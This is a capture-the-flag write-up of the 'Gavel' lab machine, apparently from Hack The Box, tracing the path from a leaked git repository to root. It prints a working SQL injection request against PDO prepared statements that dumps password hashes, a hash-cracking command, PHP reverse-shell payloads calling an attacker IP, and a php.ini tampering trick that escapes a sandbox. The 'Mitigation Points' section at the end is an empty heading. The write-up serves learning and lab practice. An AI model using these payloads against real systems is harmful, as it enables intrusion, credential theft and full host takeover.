Skip to main content

Gavel (medium)

Table of Contents

Overview
#

Gavel is a medium machine which focuses heavy in understanding core PHP vulnerabilities and advanced SQL-Injection possibilities. As it revolves around building your custom SQL-Injection code in getting user and some light reverse engineering for root, I think the box is more on a intermediate to high difficult level. I liked it overall, because in taught me a new SQL-Injection technique as well as unknown PHP attack vectors.

User
#

Nmap portscan:

sudo nscan 10.129.36.216

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

Feroxbuster reveals the site also leaks a git repository.

feroxbuster -u 'http://gavel.htb' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,bak,js,php -b "gavel_session=5pc1g8opk69ivgr1oaf84cc2kt"

<SNIPPED>
301      GET        9l       28w      305c http://gavel.htb/.git => http://gavel.htb/.git/
200      GET        6l       43w      240c http://gavel.htb/.git/info/exclude
200      GET      355l     1786w   292768c http://gavel.htb/.git/index
200      GET        8l       20w      136c http://gavel.htb/.git/config
200      GET       24l       83w      544c http://gavel.htb/.git/hooks/pre-receive.sample
200      GET        1l        1w        3c http://gavel.htb/.git/COMMIT_EDITMSG
200      GET       42l      238w     1492c http://gavel.htb/.git/hooks/prepare-commit-msg.sample
200      GET       15l       79w      478c http://gavel.htb/.git/hooks/applypatch-msg.sample
200      GET        1l       10w       73c http://gavel.htb/.git/description
200      GET        1l        2w       23c http://gavel.htb/.git/HEAD
200      GET      169l      798w     4898c http://gavel.htb/.git/hooks/pre-rebase.sample
200      GET       53l      234w     1374c http://gavel.htb/.git/hooks/pre-push.sample
200      GET      128l      546w     3650c http://gavel.htb/.git/hooks/update.sample
200      GET       13l       67w      416c http://gavel.htb/.git/hooks/pre-merge-commit.sample
200      GET       24l      163w      896c http://gavel.htb/.git/hooks/commit-msg.sample
200      GET        8l       32w      189c http://gavel.htb/.git/hooks/post-update.sample
200      GET       49l      279w     1643c http://gavel.htb/.git/hooks/pre-commit.sample
200      GET        1l        1w       41c http://gavel.htb/.git/refs/heads/master
200      GET        3l       27w      422c http://gavel.htb/.git/logs/HEAD
200      GET       78l      499w     2783c http://gavel.htb/.git/hooks/push-to-checkout.sample
200      GET      173l      669w     4655c http://gavel.htb/.git/hooks/fsmonitor-watchman.sample
200      GET       14l       69w      424c http://gavel.htb/.git/hooks/pre-applypatch.sample
200      GET        2l        9w      795c http://gavel.htb/.git/objects/a0/cb5c73cfb687cb4b93ded52d4783e75c4b78db
200      GET        8l       41w     2713c http://gavel.htb/.git/objects/89/ed6f60daf4194642c6bd2b18a921e9146dfede
200      GET        2l        6w      668c http://gavel.htb/.git/objects/6f/dda0d0d37440c2da74782e516a62e11b07f0fe
200      GET        4l       15w     1007c http://gavel.htb/.git/objects/d2/8dbfc8ae1d866f72fcaf8da41a7ee7ad25063b
200      GET        1l        8w      615c http://gavel.htb/.git/objects/d2/1fb68d090c644d629201b5c7a7498c06d95f26
200      GET        4l       15w      953c http://gavel.htb/.git/objects/e5/67d359d7a70a62acad577eaeae5294da98f22d
200      GET        4l       18w     1452c http://gavel.htb/.git/objects/9d/be87d328a15bb89172f55c751a1c42a3affd21
200      GET       45l      266w    23995c http://gavel.htb/.git/objects/9d/f490e8cfdd75704d31f518caf76ab34494b124
<SNIPPED>

Let’s see if we find some secrets (dumping the repo)

git-dumper http://gavel.htb . 

A short analyze just with Snyk finds vulnerable PHP code (SQL-Injection) on inventory.php:

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}

$col is injectable, even tough there is some user input sanitization done on backticks (removing any and adding one pair again) and we are in a PHP prepare statement. But backticks only defines identifiers and don’t fully escape user input. So we can control user_id fully and inject the placeholder \?;-- into sort parameter (which lands into $col) . This achieves us SQL injection:

Injection to read the user tables:

POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://gavel.htb
DNT: 1
Connection: keep-alive
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=5pc1g8opk69ivgr1oaf84cc2kt
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user_id=x` FROM (SELECT group_concat(0x0a,username,0x3a,password) AS `'x` FROM users)y;-- -&sort=\?;--

Good blogpost on this odd injection: https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/

SQL injection step by step:

SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC
-- $col injection removes anything
SELECT `\?;--` FROM inventory WHERE user_id = ? ORDER BY item_name ASC
-- on placeholder \? we get everything injected from user_id; y can be any char, it is needed tough
SELECT `'x` FROM (SELECT group_concat(0x0a,username,0x3a,password) AS `'x` FROM users)y;-- -;--` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

0x0a is for a linebreak; 0x3a for “:”

Result:

gavel1.png

Cracking hash of auctioneer:

hashcat -m3200 hash rockyou.txt --user
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

auctioneer:midnight1

Gets us logged into admin panel

gavel2.png

Looking at admin panel, we see that we can alter some bidding rules of the current auctions. Looking at admin.php:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $auction_id = intval($_POST['auction_id'] ?? 0);
    $rule = trim($_POST['rule'] ?? '');
    $message = trim($_POST['message'] ?? '');

    if ($auction_id > 0 && (empty($rule) || empty($message))) {
        $stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
        $stmt->execute([$auction_id]);
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if (!$row) {
            $_SESSION['success'] = 'Auction not found.';
            header('Location: admin.php');
            exit;
        }
        if (empty($rule))    $rule = $row['rule'];
        if (empty($message)) $message = $row['message'];
    }

    if ($auction_id > 0 && $rule && $message) {
        $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
        $stmt->execute([$rule, $message, $auction_id]);
        $_SESSION['success'] = 'Rule and message updated successfully!';
        header('Location: admin.php');
        exit;
    }
}

Looking at where this rules are used we find bid_handler.php:

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

runkit_function_add() is basically PHP code execution by adding a new function. If we can trigger this with our code, we have a RCE:

Input a PHP reverse shell on any of three auctions like:

$sock=fsockopen("10.10.14.23",9001); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

Then switch to Bidding and bid on the same item, this executes previous code and lands us a shell as www-data:

ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.36.216:55720.
/bin/sh: 0: can't access tty; job control turned off
$ 

Looking at /etc/passwd, we discover user auctioneer

www-data@gavel:/var/www/html$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
<SNIPPED
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
<SNIPPED>

Switching to this user by trying password reuse with previous cracked password is successful:

www-data@gavel:/var/www/html$ su auctioneer
Password: 
auctioneer@gavel:/var/www/html$ 

We get the user flag:

auctioneer@gavel:~$ ls -lha
total 12K
drwxr-x--- 2 auctioneer auctioneer 4.0K Nov  5 12:46 .
drwxr-xr-x 3 root       root       4.0K Nov  5 12:46 ..
lrwxrwxrwx 1 root       root          9 Nov  5 12:20 .bash_history -> /dev/null
-rw-r----- 1 root       auctioneer   33 Nov 30 04:13 user.txt

Root
#

We were not able to login via SSH because auctioneer is in the deny list:

auctioneer@gavel:/etc/ssh$ cat sshd_config
<SNIPPED>
DenyUsers auctioneer

With enumeration we find a gavel directory under /opt:

auctioneer@gavel:/tmp$ ls -lha /opt/gavel
total 64K
drwxr-xr-x 5 root root 4.0K Nov 30 11:47 .
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 ..
drwxr-xr-x 3 root root 4.0K Nov  5 12:46 .config
-rwxr-xr-- 1 root root  36K Oct  3 19:35 gaveld
-rw-r--r-- 1 root root  364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4.0K Nov 30 11:43 submission

Under .config we can find a custom php.ini:

auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini 
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

Most important flags are open_basedir which restricts PHP code execution on this directory and all the disable_functions, most of them functions can be used to achieve RCE (if enabled).

gaveld is a ELF-Binary, which we can analyse with ghidra:

gavel3.png
We don’t need to fully reverse engineer it. Most important is that it’s a daemon running a UNIX socket under /var/run/gaveld.sock, which is accessible by group gavel-seller, which our user auctioneer is in.

The main function afterwards calls handle_conn(), that handles whole function of the socket. We discover there is some yaml loading in play and very important a call to php_safe_run:

gavel4.png

Analyzing this custom function we find out it loads the custom php.ini and executes php binary with previous loaded yaml file:

gavel5.png

Verifying if the socket is running:

auctioneer@gavel:/opt/gavel$ ps -aux | grep gaveld
root         995  0.0  0.0  19128  3864 ?        Ss   04:12   0:00 /opt/gavel/gaveld

Perfect, it runs high privileged as root, which means if we get any arbitrary code execution via this daemon, we win.

Luckily we don’t have to code a client to speak to this socket, with a short search on the filesystem we find custom client gavel-util:

auctioneer@gavel:~$ find / -group gavel-seller 2> /dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
auctioneer@gavel:~$ gavel-util
Usage: gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

Under /opt/gavel/sample.yaml also lies a sample yaml file:

auctioneer@gavel:~$ cat sample.yaml 
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Trying in submitting this in a test fails:

auctioneer@gavel:~$ gavel-util submit sample.yaml 
YAML missing required keys: name description image price rule_msg rule 

The error message reveals, it does expect fields name description image price rule_msg rule (so sample.yaml without item top)

name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
auctioneer@gavel:/dev/shm$ gavel-util submit item.yaml 
Item submitted for review in next auction

As expected, if we just use our previous reverse shell under rule, we get denied:

auctioneer@gavel:/tmp$ gavel-util submit item.yaml
Illegal rule or sandbox violation.
Warning: fsockopen() has been disabled for security reasons in Command line code on line 1                                                                                                                                                                                                                                                        
Notice: Undefined variable: pipes in Command line code on line 1                                                                                                                                                                                                                                                                                  
Warning: proc_open() has been disabled for security reaso 

Now the misconfiguration lies in having php.ini in the same directory, where we are allowed to access any file. We can abuse PHP implementation of chmod to adjust the permissions on php.ini enabling functions which grants use RCE capabilities:

  1. Adjust permissions on php.ini
name: "CUSTOM"
description: "CUSTOM"
image: "http://gavel.htb/assets/img/NDA.jpg"
price: 10000
rule_msg: "CUSTOM"
rule: "chmod (\"/opt/gavel/.config/php/php.ini\", 0777);"
auctioneer@gavel:/dev/shm$ gavel-util submit item.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
  1. Despite the message we see, the file permissions changed, and we are able to delete the entries on disable_functions and open_basedir :
nano /opt/gavel/.config/php/php.ini
  1. Now we can use our previous reverse shell:
ame: "CUSTOM"
description: "CUSTOM"
image: "http://gavel.htb/assets/img/NDA.jpg"
price: 10000
rule_msg: "CUSTOM"
rule: "$sock=fsockopen(\"10.10.14.23\",9001); $proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"

Spinning up a listener:

ncat -lvnp 9001

Submit:

auctioneer@gavel:/dev/shm$ gavel-util submit item.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR

Catch root reverse shell:

Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.36.216:47374.
/bin/sh: 0: can't access tty; job control turned off
#

The root flag can be retrieved under default place /root/root.txt

Learning Points
#

  • You might abuse parameters for SQL-Injection, even if those are correctly escaped and within a prepare statement.
  • runkit_function_add is a PHP function to watch out for, as it a dangerous function, which enables arbitrary code execution.
  • Enumeration of UNIX sockets.
  • If php.ini is within the space we can modify, we can modify allow dangerous functions to execute.

Mitigation Points
#